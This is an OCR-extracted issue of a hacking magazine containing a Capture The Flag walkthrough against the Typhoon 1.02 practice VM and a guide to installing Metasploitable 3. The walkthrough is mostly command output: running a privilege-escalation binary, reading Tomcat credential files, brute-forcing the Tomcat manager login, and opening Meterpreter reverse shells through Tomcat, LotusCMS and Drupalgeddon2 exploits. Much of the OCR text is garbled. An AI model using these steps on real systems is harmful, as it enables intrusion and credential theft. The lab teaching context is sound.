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Editor's Note

Hello Readers. Thank you for subscribing to our
Hackercool Magazine. We are very delighted to relea
-se the thirteenth issue of the first Edition of our
Hackercool magazine.

Let me introduce myself. My name is Kalyan
Chakravarthi Chinta and | am a passionate cyber sec
-urity researcher (or whatever you want to call it). | am also a freelance cyber s-
ecurity trainer and an avid blogger.But still let me make it very clear that | don't
consider myself an expert in this field and see myself as a script kiddie.

Notwithstanding this, | have my own blog that deals with ethical hacking,
hackercool.com. This blog has a dedicated Facebook page and Youtube chan
-nel with name "Wanishkashowto” | also developed a vulnerable web applica
tion for practice "Vulnerawa"” which can be very helpful for beginners to practic
e website security.

This magazine was started with an ambition to deal with real world ethical
hacking. In simple terms this means we teach ethical hacking as close to real
world as possible. As necessity arises, we sometimes teach both blackhat and
grey hat hacking . You will find that our magazine will be helpful not only to the
beginners who want to come into field of cyber security but also experts in this
field. This magazine is also helpful to people who want to keep themselves saf-
e from the bad hackers.

The main focus of this magazine is dealing with ethical hacking in real wor
-Id scenarios. i.e hacking with antivirus and firewall ON. My opinion is that
we cannot improve cyber security and information security of the users until we
teach them the real world ethical hacking.

In this issue, as already stated in our previous issue, we will continue with
our Capture The Flag Scenario of Typhoon 1.02 VM where we will see three
more ways to hack into the target. Metasploitable 3 has been released long
time back but the installation is not as simple as Metasploitable 2. So we thoug-
ht it would be good to give our readers a complete tutorial on how to install the
latest Metasploiable 3 in Virtualbpx. Apart from this we have included all our
reqular features.

If you have any queries regarding this magazine or want a specific topic
please send them to our mail address qa@hackercool.com and please don't
forget to like our Facebook page "Hackercool”. Until the next issue, Good Bye.
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TYPHOON 1.02 - PART 2

You may take numerous courses on cyber security and ethical hacking but you
will not hone your skills unless you test you skills in a Real World hacking environme
-nt. CAPTURE THE FLAG scenarios and VM labs provide the beginners and those wh-
o want a real world testing lab for practice. These scenarios also provide a variety of
challenges which help readers and users to gain knowledge about different tools and
methods used in Real World penetration testing. These are not only useful for beginn-
ers but also security professionals, system administrators and other cyber security
enthusiats. We at Hackercool Magazine strive to bring our readers some of the best
CTF scenarios every month. We suggest our readers not only to just read these tutori

-als but also practice them by setting up the VM.

(CTF SCENARIO CONT'D FROM PREVIOUS ISSUE)
In the previous issue, we have seen two methods by which we gained access to the Typhoo-
n 1.02 VM. In this issue, we will see three more methods to get into the target system. Le't's
ontinue from exactly where we left. In the last issue, we got a normal shell by exploiting the
shellshock vulnerability. | used the same "root2" privilege escalation exploit we used in the pr
evious Issue to get a root shell as shown below.

$ Ls

Ls

Catalina context.xml policy.d tomcat-users.xml
catalina.properties logging.properties server.xml web.xml
$ cat tomcat-users.xml

cat tomcat-users.xml

cat: tomcat-users.xml: Permission denied

$ cd /tmp

ca /tmp

$ Ls

Ls

37088.¢c CLZAo mongodb-27017.s0CckK root2
37292.¢c hsperfdata tomcat7 rootl tomcat7-tomcat7-tmp
$ ./root2

Jroot2

spawning threads

mount #1

mount #2

child threads done

/etc/\ld.so.preload created

creating shared library

¢ |l

he next service I'm gonna target is the Apache Tomcat service running on the target. So bef
-ore | target the service , | decide to do some enumeration on the Tomcat service to see if |l ¢
an grab any credentials.

The Tomcat credentials are present in /etc/tomcat7 directory in a file named
omcat-users.xml. So | navigate to the /etc/tomcat7 folder using the root shell we already got
and do an "Is: to see the contents of the directory. As we can see in the image given below,

e have a file named tomcat-users.xmi.

$ Ls
ls
3/088.c CLZAO mongodb-27017.s0ck root2
37292.¢ hsperfdata tomcat7 rootl tomcat/7-tomcat/7-tmp
$ ./root2
Jroot2
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# cd /etc/tomcat?
cd /etc/tomcat?
# s
Ls
Catalina context.xml policy.d tomcat-users.xml
catalina.properties logging.properties server.xml web.xml
* |
hen we open this file, we can view the credentials as shown below.
<tomcat-users>

| - -
NOTE: By default, no user 1s included in the "manager-quli" role required
to operate the "/manager/html"” web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.

- >

NOTE: The sample user and role entries below are wrapped 1in a comment

and thus are ignored when reading this file. Do not forget to remove

<!.. ..> that surrounds them.

"

<role rolename="tomcat"/>

<role rolename="manager-gui"/>

<role rolename="admin-gui"*/>

<user username="tomcat" password="tomcat" roles="admin-gui,tomcat,manager-gui”
/>
</tomcat-users>

* i

Metasploit has many exploits related to Apache tomcat. Open Metasploit and search for all
omcat exploits using command "search tomcat”.

msfS > search tomcat

Matching Modules

Disclosure Date
Rank Check Description

auxiliary/admin/http/tomcat administration
normal Yes Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat utf8 traversal 2009-01-09
normal Yes Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro dlp traversal 2009-01-09
normal Yes TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache commons fileupload dos 2014-02-06
normal No Apache Commons FileUpload and Apache Tomcat DoS




auxiliary/scanner/http/tomcat enum msf5 > use auxiliary/scanner/http/tomcat_mgr_login

normal Yes Apache Tomcat User Enumeration msf5 auxiliary( ) > show options
auxiliary/scanner/http/tomcat mgr login

normal Yes Tomcat Application Manager Login Utility Module options (auxiliary/scanner/http/tomcat mgr login):
exploit/linux/http/cisco prime inf rce 2018-10-04

excellent Yes Cisco Prime Infrastructure Unauthenticated Remote Code Execut Name Current Setting

ion Required Description
exploit/multi/http/struts2 namespace ognl 2018-08-22

excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection
exploit/multi/http/struts code exec classloader 2014-03-06 BLANK_PASSWORDS

manual No Apache Struts ClassLoader Manipulation Remote Code Execution "y blank passwords for all users
exploit/multi/http/struts dev mode 2012-01-06 BRUTEFORCE_SPEED

excellent Yes Apache Struts 2 Developer Mode OGNL Execution fast to bruteforce, from © to 5
exploit/multi/http/tomcat jsp upload bypass 2017-10-03 DB_ALL CREDS

excellent Yes Tomcat RCE via JSP Upload Bypass each user/password couple stored in the curre
exploit/multi/http/tomcat mgr deploy 2009-11-09 Nt database

excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code DB_ALL_ PASS

Execution all passwords in the current database to the
exploit/multi/http/tomcat mgr upload 2009-11-09 list

excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution DB_ALL USERS
exploit/multi/http/zenworks configuration management upload 2015-04-07 Add all users 1n the current database to the list

excellent Yes Novell ZENworks Configuration Management Arbitrary File Uploa PASSWORD
g no The HTTP password to specifv for authentication

post/multi/gather/tomcat gather PASS FILE /usr/share/metasploit-framework/data/wordlists/tomcat mgr d
efault pass.txt no File containing passwords, one per line
Proxies

10N
exploit/multi/http/struts2 namespace ognl 2018-08-22
excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection .port][...]
exploit/multi/http/struts code exec classloader 2014-03-06 RHOSTS
manual No Apache Struts ClassLoader Manipulation Remote Code Execution yes The target address range or CIDR identifier
exploit/multi/http/struts dev mode 2012-01-06 RPORT 8080 |
excellent Yes Apache Struts 2 Developer Mode OGNL Execution
exploit/multi/http/tomcat jsp upload bypass 2017-10-03 5SL
excellent Yes Tomcat RCE via JSP Upload Bypass
exploit/multi/http/tomcat mgr deploy 2009-11-09 STOP ON SUCCESS
excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code

no A proxy chain of format type:host:port|,type:host

yes The target port (TCP)

false

no Negotiate SSL/TLS for outgoing connections

false

yes Stop guessing when a credential works for a host
Execution TARGETURI /manager/html

exploit/multi/http/tomcat mgr upload 2009-11-09 yes URI for Manager login. Default 1s /manager/html
excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution THREADS 1 ) )

exploit/multi/http/zenworks configuration management upload 2015-04-07
excellent Yes Novell ZENworks Configuration Management Arbitrary File Uploa USERNAME
d

yes The number of concurrent threads

no The HTTP username to specify for authentication

post/multi/gather/tomcat_gather USERPASS FILE /usr/share/metasploit-framework/data/wordlists/tomcat mgr d

normal | NO Gather Tomcat Credentials efault userpass.txt no File containing users and passwords separated by
post/windows/gather/enum tomcat space, one pair per line

normal No Windows Gather Apache Tomcat Enumeration USER AS PASS false

no Try the username as the password for all users
msfS > l USER FILE /jusr/share/metasploit-framework/data/wordlists/tomcat mgr d

: , e . : efault users. txt no File containling users, one per Line
here are numerous exploits belonging to apache tomcat : auxiliary as well as post exploitati VERBOSE true

-on. First let us try the "auxiliary/scanner/http/tomcat mgr login module”.As its name sugges yes whether to print output for all attempts
ts, it is a login scanner which can be used to crack the password of the apache tomcat servi- VHOST
ce. Although we have the credentials, let's try out this one imagining a scenario where we did no HTTP server virtual host
not get any credentials.

Load the tomcat_mgr _login module as shown below and use the show options comma-
nd to see all the options it requires. Set the RHOST address.Also set the stop on success option to true and execute the exploit

msfS auxiliary( ) > I




using run command. The module starts running as shown and stops even if one correct cred-

msfS auxiliary( ) > set stop on success true
stop on success =>
msfS auxiliary( ) > run

[!] No active DB -- Credential data will not be saved!
192.168.41.164:8080 - LOGIN FAILED: admin:admin (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:manager (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:rolel (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:root (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:tomcat (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:s3cret (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: admin:vagrant (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: manager:admin (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: manager:manager (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: manager:s3cret (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: manager:vagrant (lncorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:admin (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:manager (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:rolel (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:root (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:tomcat (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:s3cret (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: rolel:vagrant (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:admin (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:manager (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:rolel (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:root (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:tomcat (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:s3cret (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: root:vagrant (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: tomcat:rolel (Incorrect)
192.168.41.164:8080 - LOGIN FAILED: tomcat:root (Incorrect)
192.168.41.164:8080 - Login Successful: tomcat:tomcat
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
fS auxiliary( ) > l

ential is found as shown in the above image. Here, the credentials are tomcat:tomcat. Since
e have the credentials, let us use another exploit to gain a meterpreter shell on the target u-
sing these credentials.

msfS > use exploit/multi/http/tomcat

use exploit/multi/http/tomcat jsp upload bypass
use exploit/multi/http/tomcat mgr deploy

use exploit/multi/http/tomcat mgr upload

msfS > use exploit/multi/http/tomcat

use exploit/multi/http/tomcat jsp upload bypass
use exploit/multi/http/tomcat mgr deploy

use exploit/multi/http/tomcat mgr upload

use exploit/multi/http/tomcat jsp upload
use exploit/multi/http/tomcat mgr deploy
use exploit/multi/http/tomcat mgr upload
msfS > use exploit/multi/http/tomcat

Load the exploit/multi/http/tomcat_mgr upload module as shown below.

msfS > use exploit/multi/http/tomcat mgr upload
msfS exploit( ) > show options

Module options (exploit/multi/http/tomcat mgr upload):
Name Current Setting Required Description

HttpPassword The password for the specified usern
ame

Httpusername The username to authenticate as

Proxies no A proxy chain of format type:host:po
rt{,type:host:port]|...]

RHOSTS yes
ntifier

RPORT 80 yes

SSL false no
ctions

TARGETURI /manager L
ml/upload and /undeploy will be used)

VHOST no HTTP server virtual host

The target address range or CIDR 1ide

The target port (TCP)
Negotiate SSL/TLS for outgoing conne

The URI path of the manager app (/ht

Set all the required options as shown below. The check command confirms that our target is
indeed vulnerable.

msfS5 exploit( > set rhosts 192.168.41.164
rnosts => 192.168.41. 164
msfS exploit( > set rport 86086
rport => 80860
msfS exploit( set httpusername tomcat
httpusername => tomcat
msfS exploit( set httppassword tomcat
httppassword => tomcat
msfS exploit( set Lhost 192.168.41.163
Lhost => 192.168.41.163

) > check
| 192.168.41.164:8080 - The target appears to be vulnerable.
msfS exploit( ) > l

hen | execute the module, | successfully get a meterpreter session as shown below.
msfS5 exploit( ) > run

Started reverse TCP handler on 192.168.41.163:4444

Retrieving session ID and CSRF token...

Uploading and deploying zXL1QpjnLbz4a3BPsjzvn...

Executing zXL1Qp)inLbz4a3BPsjzvn..

Undeploying zXL1QpinLbz4a3BPsjzvn

Sending stage (53845 bytes) to 192.168.41.164

Meterpreter session 1 opened (192.168.41.163:4444 -> 192.168.41.164:32863) a
t 2019-03-20 08:40:09 -0400

meterpreter >

| use the "shell” and "python -c ‘import pty;pty.spawn("/bin/sh”)’ command to get a normal sh-
ell on the target once again as shown below. From here on, it's privilege escalation and getti-
ng to the root flag which has been shown previously.




meterpreter > sysinfo

Computer : typhoon. local

0S : Linux 3.13.0-32-generic (amdé64)
Meterpreter : java/linux

meterpreter > shell

Process 1 created.

Channel 1 created.

import pty;pty.spawn("/bin/bash")
meterpreter > shell

Process 2 created.

Channel 2 created.

pyhton -¢ '1mport pty;pty.spawn("/bin/bash")’

/bin/sh: 1: pyhton: not found

python -c¢ 'import pty;pty.spawn("/bin/bash")'
tomcat7@typhoon:/var/lib/tomcat7$ §

\We are done with exploiting the Apache Tomcat service. Now let us see another method of

getting into the the target system. During the nikto scan, we found that there is an interesting
folder named "cms”.

2.0.65 (final release) and 2.2.29 are also current.

Allowed HTTP Methods: OPTIONS, GET, HEAD, POST

Uncommon header 'nikto-added-cve-2014-6278' found, with contents: true

OSVDB-112004: /cgli-bin/test.sh: Site appears vulnerable to the 'shellshock’
lnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ 0OSVDB-112004: /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock’
lnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).

Uncommon header 'x-ob mode' found, with contents: ©

OSVDB-3233: /icons/README: Apache default file found.

OSVDB-3092: /cms/: This might be interesting...

/phpmyadmin/: phpMyAdmin directory TOURG

8500 requests: O error(s) and 17 item(s) reported on remote host

End Time: 2019-03-20 08:59:35 (GMT-4) (74 seconds)

1 host(s) tested
# |

hen | go to the above url, | found that it is powered by a software named LotusCMS . On fu

L w Flace - Firefoy FSR = .Ip"':‘.l‘.

Typhoon VM - Homepage - Mozilla Firefox

-rther searching, | got the login page of the website.

| tried password cracking the website with the credentials | got but to no avail.

% 192.168.41.164 e & o

0y @".1 LI ®"-.r Docs @"-..1 1 00l @?'L' t-DB ‘:‘.' fraCcx-ng 9?‘ Forums @i."“l ter @"J Irain g

LotusCMS

Username:

Password:

Login

Using searchsploit, | found only two exploits related to Lotuscms and one of them seems to b

-e present in Metasploit.
:~# searchsploit lotuscms

Exploit Title

(/usr/share/exploitdb/)

@ - 'eval()' Remote Command | exploits/php/remote/18565.rb
0.

- B
3.0.3

shellcodes: No Result

| load the module as shown below.

msfS > use exploit/multi/http/lcms php exec
msfS exploit( ) > show options

Module options (exploit/multi/http/lcms php exec):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port|,t
ype:host:port}|...]

RHOSTS The target address range or CIDR identifl
er

RPORT 80 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connection

URI /Lcms/ URI
VHOST HTTP server virtual host
Explolit target:

Id Name

0 Automatic Lotus(CMS 3.0




| set all the options as shown below. The check command confirms that the target is indeed
ulnerable.

msfS exploit( ) > set rhosts 192.168.41.164
rhosts => 192.168.41.164

msfS exploit| ) > set url /cms/

uri => Jcms/

msfS exploit( ) > check

| Using found page param: /cms/index.php?page=index
[+] 192.168.41.164:80 - The target is vulnerable.
msfS exploit( ) > B

, | successfully get the meterpreter session as shown below.
msfS exploit( > run

| Started reverse TCP handler on 192.168.41.163:4444

| Using found page param: /cms/index.php?7page=1index

| Sending exploit

l*] Sending stage (38247 bytes) to 192.168.41.164

1*] Meterpreter session 3 opened (192.168.41.163:4444 -> 192.168.41.164:32867) a
t 2019-03-20 13:19:02 -0400

meterpreter > getuid

Server username: www-data (33)

meterpreter > sysinfo

Computer : typhoon. local

0S : Linux typhoon.local 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03
:51:08 UTC 2014 x86 64

Meterpreter : php/linux

meterpreter > l

Now let's see the last method of getting into this system. | was searching for other vulnerable
services and was once again focused on port 80. | wanted to know on what technology is the
primary website of our target is built on. | used dirb tool to bust its directories and got to

# dirb http://192.168.41.164

DIRB v2.22
By The Dark Raver

START TIME: Wed Mar 20 13:23:07 2019
URL BASE: http://192.168.41.164/
WORDLIST FILES: /usr/share/dirb/wordlists/common. txt

GENERATED WORDS: 4612

- Scanning URL: http://192.168.41.164/
==> DIRECTORY: http://192.168.41.164/assets/

==> DIRECTORY: http://192.168.41.164/calendar/

+ http://192.168.41.164/cg1-bin/ (CODE:403|SIZE:289)
==> DIRECTORY: http://192.168.41.164/cms/

==> DIRECTORY: http://192.168.41.164/drupal/

+ http://192.168.41.164/1ndex.html (CODE:200|SIZE:3529)
== DTRFCTORY: httn://192.168.41.164/1avascrint/

know that its powered by Drupal as shown in the image above. | viewed the website in the
browser to find any more details.

Welcome to Typhoon VM | Typhoon VM - Magilla Firefox

Welcome to Typhoon VM

Not finding any further information, i used nikto once again to scan the Drupal website as sho
wn below and found that it is running Drupal 8.

# nikto -h http://192.168.41.164/drupal
Nikto v2.1.6

Target 1P: 192.168.41.

Target Hostname: 192.168.41.

Target Port: 80

Start Time: 2019-03-20 13:50:12 (GMT-4)

server: Apache/2.4.7 (Ubuntu)
Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.26
1+ The X-XSS-Protection header 1s not defined. This header can hint to the user a
igent to protect against some forms of XSS
|+ Uncommon header 'x-drupal-dynamic-cache' found, with contents: MISS
1+ Uncommon header 'x-drupal-cache' found, with contents: HIT
1+ Uncommon header 'x-generator' found, with contents: Drupal 8 (https://www.drup

Send all the questions
you have about
ethical hacking, cyber security and information
security to ga@hackercool.com




Using searchsploit, i got to know that there is a very famous vulnerability Drupalgeddon in thi

-s version of Drupal.
"% :~# searchsploit drupal 8

(/usr/share/exploitdb/)

News Message HTML Injecti exploits/php/webapps/21863. txt
.3 < 4.6.1 - Comments PHP In exploits/php/webapps/1088 . pl
'Attachment mod mime' Rem exploits/php/webapps/15821.php
Denial of Service exploits/php/dos/10826.sh
T34 = ° geddon' SQL exploits/php/webapps/34984 . py
Multiple Vulnerabilities exploits/php/webapps/18564. txt
v & geddon3' (Authe exploits/php/webapps/44557.rb
: geddon3' (Authe exploits/php/webapps/44542. txt
f € B.3.9 J <« : explolits/php/webapps/44449.rb
el £ 0.8 F S B.3, ot exploits/php/remote/444582.rb
 $:3.9 /7 < 8.4 : exploits/php/webapps/444458  py
Module CKEditor exploits/php/webapps/18389, txt
Module Sections exploits/php/webapps/104585. txt
avatar uploader exploits/php/webapps/44501. txt

- - O O O O R - - - - - - - - - - - O O O e O - . . - O O O O e e

Shellcodes: No Result

# i |

| loaded the Metasploit exploit as shown below.

msfS > use exploit/unix/webapp/drupal drupalgeddon2
msfS exploit( ) > show options

-

| N,
oh
-
-

N

SNNSNNHODNNODMO
-

.
-
5
3

Module options (exploit/unix/webapp/drupal drupalgeddon2):

Name Current Setting Required Description
If output should be dumped

PHP FUNC passthru PHP function to execute

Proxies A proxy chain of format type:host:por
t[,type:host:port]|[...]

RHOSTS The target address range or CIDR iden
tifliern

RPORT 80

SSL false
tions

TARGETURI Path to Drupal install

VHOST HTTP server virtual host

The target port (TCP)
Negotiate SSL/TLS for outgoling connec

| set all the options as shown below. The check command says the target is indeed vulnerab
-le.

msfS exploit( ) > set rhosts 192.168.41.164
rhosts => 192.168.41.164

msfS exploit( ) > set targeturli /drupal
targeturi => /drupal

msfS exploit( ) > check

|*] Drupal 8 targeted at http://192.168.41.164/drupal/
[+] Drupal appears unpatched in CHANGELOG. txt

[+#] 192.168.41.164:80 - The target is vulnerable.

msfS exploit( ) > I

hen | execute the module, | once again successfully get the meterpreter session on the tar-

get.
msfS explolit( > run

Started reverse TCP handler on 192.168.41.163:4444

Drupal 8 targeted at http://192.168.41.164/drupal/

Drupal appears unpatched in CHANGELOG. txt

Sending stage (38247 bytes) to 192.168.41.164
| Meterpreter session 4 opened (192.168.41.163:4444 -> 192.168.41.164:32868) a
t 2019-03-20 14:08:11 -0400

meterpreter > sysinfo
Computer : typhoon. local
0S : Linux typhoon.local 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03
:51:08 UTC 2014 x86 64
Meterpreter : php/linux
meterpreter > getuild
Server username: www-data (33)
meterpreter > [
ith this, we finish this Capture The Flag scenario of Typhoon 1.02 VM which is one of the b
-est vulnerable machines we have seen. Covering over two issues, in this challenge we have
seen five ways of gaining access to this system. In our next issue, we will be back with a new

Capture The Flag challenge.

/ INSTALLING METASPLOITABLE 3 IN VIRTUALBOX N

INSTALLIT
\. Y

In the eternal journey of learning ethical hacking and penetration testing, readers
will have to install many programs and have to setup many practice labs.It is keeping
this in mind, we have included this Feature in our Hackercool Magazine. In this newly
introduced Feature aptly named "Installit”, we will be teaching in detail how to install
and configure some of the much needed labs and networks. This Feature will be like a
walkthrough to teach absolute beginners. In this month’s issue, our readers will learn

how to install Metasploitable 3 in Oracle Virtualbox.

Metasploitable 3 is the latest version of Metasploitable. Just like Metasploitable, it is designe-
d to be hacked with Metasploit although we can do this without Metasploit. It is packed with
numerous vulnerabilities which can be exploited to gain access to the system. However unlik
-e Metasploitable 2, the vulnerabilities may not be a hit and walk case.

Another difference between Metasploitable 2 and Metasploitable 3 is, it is not a automati
-cally downloaded virtual machine which can be just downloaded and set up in a virtualizatio
-n software. We can also configure the machine ourselves and we can also decide the target
version of Windows. Let us see how to install Metasploitable 3 in Virtualbox. Before doing an
-ything, we need to download some software's required to install Metasploitable 3. Given bel-
ow is the list of software we need to download with their download links.

1. Metasploitable 3 :

2. Vagrant :

3. Packer :

4. Oracle Virtualbox :

5. Vagrant-reload-plugin :




ote that | am downloading these all into my Windows 10 machine. Copy all the above menti
ned software into one folder as shown below. | created a new folder Metasploitable3 and c-
pied them all into it.

lick on "Next" again.

isPC » Local Disk (C:) » Users » Wil > Downloads » Metasploitable3

™

Name Date modified Type Size
f metasploitable3-master 2/23/2019 4:31 PM Compressed (zipp... 151,912 KB
t packer_1.3.4_windows_amd64 2/23/2019 4:30 PM Compressed (zipp... 28,008 KB
i3 vagrant_2.2.3 x86_64 2/23/2019429PM  Windows Installer... 234724 KB
[ vagrant-reload-master 2/23/2019 4:29 PM Compressed (zipp... o KB

irst, let us install Vagrant. Since | am doing all this stuff on a Windows machine, | have dow
nloaded the Windows version of Vagrant. Click on the Windows Installer shown above.

his PC » Local Disk (C:) » Users > QEBMSEE® Downloads » Metasplotables
- #9 Vagrant Setup - X

Name
! metasploitable3-master
i packer_1.3.4 windows_amdbtd

y vagrant_2.2.3_x86_64
! vagrant-reload-master

Welcome to the Vagrant Setup Wizard

The Setup Wizard will install Vagrant on your computer. Ciick
Next to continue or Cancel to exit the Setup Wizard.

FY

Name

| metasploitable3-master

! packer_1.3.4_windows_amd6td
15 vagrant_2.2.3 x86_64

! vagrant-reload-master

, Vagrant Setup -

Destination Folder
Chick Next to install to the default folder or dick Change to choose another.

Instal Vagrant to:

[c:v-udmcorpw-nmt\

hen Click on "Install”.

o ’ Vagrant Setup —

End-User License Agreement
Please read the following kcense agreement carefully

! metasploitable3-master
! packer_1.3.4 windows_amd64

15 vagrant_2.2.3 x86_64

! vagrant-reload-master

Vagrant core is icensed under the MIT license. This A
installation also contains

extensions to Vagrant which are under a non-open source
icense. Both licenses

are visible below.

The MIT License

This license is applicable to the core of Vagrant, and any
component of v

(11 accept the terms n the License Agreement

P

Name

! metasploitable3-master

! packer_1.3.4_windows_amd64
i3 vagrant_2.2.3 x86_64

! vagrant-reload-master

#¥ Vagrant Setup -

Ready to install vagrant

Chck Install to begn the installation. Chick Back to review or change any of your
nstallation settings. Click Cancel to exit the wizard.

agrant installation process starts as shown below.

e

Name

! metasploitable3-master

! packer_1.3.4_windows_amd64
ﬂ vagrant_2.2.3 x86_64

{ vagrant-reload-master

’ Vagrant Setup —

Instaling Vagrant

Please wait while the Setup Wizard installs Vagrant.

Status: vahdatng nstal
==




nce the installation is complete, click on "Finish".

ﬂ Vagrant Setup —_ X

metasplotable3-master

wather 154 windons andii Completed the Vagrant Setup Wizard
i vagrant_2.2.3 x86_64

.agrant~retoad-maﬂer
Click the Finish button to exit the Setup Wizard.

Firesh

Here is the extracted package of vagrant-reload-master.

u-'agrant-relcad-master

' metasploitable3-master
packer_1.3.4_windows_amdb6t4
5 vagrant_2.2.3_x86_64

' vagrant-reload-master

Now open command line and install the vagrant-reload plugin using command shown below.
vagrant plugin install vagrant-reload.

For new configuration changes to take place, system need to be restarted, so click on the
Yes" button shown below. Vagrant installation is finished.

metasploitable3-master
packer_1.3.4 windows_amd6t4
15 vagrant_2.2.3_x86_64

vagrant-reload-master e— U ——
f.? Vagrant Setup

You must restart your system for the configuration
changes made to Vagrant to take effect. Click Yes to
restart now or No if you plan to manually restart later.

Yes No

Next, extract the contents of vagrant-reload-master archive using any unzipping software as
shown below.

metasplotable3-master Extract : C:\Users\nspadm'\Downloads\Metasplotable3\vagrant-reload-master.zip

packer_1.3.4 windows_amdbt4

5 vagrant_2.2.3 x86_64

vagrant-reload-master

b |vagrant reload master Password
Path mode
Ful pathnames ;
| | Show Password

[ ] Bernate dupbcation of root foider

Overwrte mode || Restore file securty

Agk before overwie

oK Cancel Help

B Command Prompt - vagrant plugin install vagrant-reload —_ o X

his PC Downloads » Metasplotable3

vagrant-reload-master

metasplotable3-master

packer 1.3.4 windows_amd6d
5 vagrant_2.2.3_x86_64

vagrant- reload-master

Click on "Allow access" if a firewall warning is shown as given below.

his PC Downloads » Metasplotable3 @ Command Prompt - vagrant plugin install vagrant-reload i 0 %

v agrant-reic ad-master

spl le3-mas - . 2
metasplotable3-master Windows Defender Firewall has blocked some features of this
packer_1.3.4_ windows_amd6td

app
15 vagrant_2.2.3 x86_64
vagrant-reload-master Windows Defender Firewal has blocked some features of Ruby interpreter (CUT) 2.4. 40296
[x64-mingw32] on all public and private networks.
! Name ! iV a ™~ [ . ]
Pubksher http: /fwww .ruby-4ang.org;
Path: C: hashicorp \vagrant \embedded ymingwbt4'bin ruby . exe

Allow Ruby interpreter (CUT) 2.4.40296 [x64-mingw32] to communicate on these

i Private networks, such as my home or work network

|| Public networks, such as those in arports and coffee shops (not recommended
because these networks often have iittle or no security)

) Alow access Cancel




ake sure the plugin is successfully installed as shown below.

his PC Downloads Metasploitable3

B Command Prompt - ] X

vagrant-reload-master

metasploitable3-master

packer 1.3.4 windows_amdbtd
5 vagrant_2.2.3_x86_64

vagrant-reload-master

Next extract the contents of packer archive as shown below. Packer is a software which is us
-ed to convert the Windows ISO file into a Vbox image.

vagrant-reload-master
metasplotable3-master
packer_1.3.4_windows_amd6t4
151 vagrant_2.2.3_x86_64
vagrant-reload-master

packer_1.3.4 windows_amd6d
. ]

.In the extracted folder, we have an application "packer”.

-

his PC Downloads Metasplotable3 packer_1.3.4_windows_amdbt4

8 packer

Copy that packer application from the folder into which it is extracted into the main folder we
kept all our files. i.e into Metasploitable3 folder.

his PC Downloads Metasplotable3

packer_1.3.4 windows_amd6t4

vagrant-reload-master
metasploitable3-master
B packer
packer 1.3.4 windows_amdbt4
15 vagrant_2.2.3 x86_64

vagrant-reload-master

ext, extract the contents of the Metasploitable3-master archive as shown below.

B 5% Extracting C:\Users\nspadm'\Do ... table3-master.zip — ] %
metasplotable3-master
- . Bapsed time 00:00:02 Total sze 167 M
packer 1.3.4 wandows_amd6td AR AR .
Remaning time 000035 Speed 4611 KB/s
vagrant-reload-master o R S
J Fles 210 Processed 3365 K
metasploitable3-master ~ ompression rabo 61 Compressed sze 2795 K
? packes
packer 1.3.4 windows amdétd Extracting
= arant 22 3 x86 64 metasplotable 3-master'chef \cookbook s \metasplotable \fies ‘flags
oy vagramt_c2.2.3_xS0_C ’

7 of damonds 2ip

vagrant-reload-master

Background Pause Cancel

The archive gets extracted into a folder named metasploitable3-master as shown below.

his PC Downloads Metasplortables metasplotable3-master

.github
chef

IS0
packer
resources

scnpts

Versions
.grignore

& build
build.sh
COPYING
LICENSE

i packer
README

Vagrantfile

Now open command line and navigate to the folder where metasploitable3 got extracted i.e
metsasploitable3-master and run command as shown below.
packer build --only=virtualbox-iso ./packer/templates/windows 2008 r2.json




Packer starts building the vbox image as shown below.

The Virtual Machine reports that the guest OS does not support mouse pointer integration in the current wideo mode. You need to capture the Ll N

T+ Administrator: C:\Windows \System32\cmd.exe

Down loading dotNet 4.5.1
starting installation process...

Hand le: NPMCK)D PRCK) WSCK) UNCH) CPUCs ) ld ProcessName

b1 ' 4 1492 4212 6HY M_U6 1884 dotnet

his process may take some time. So get a coffee or some snacks. During the building proce
ss, the virtual machine may fire up like this many times. Just wait for it to finish the process.

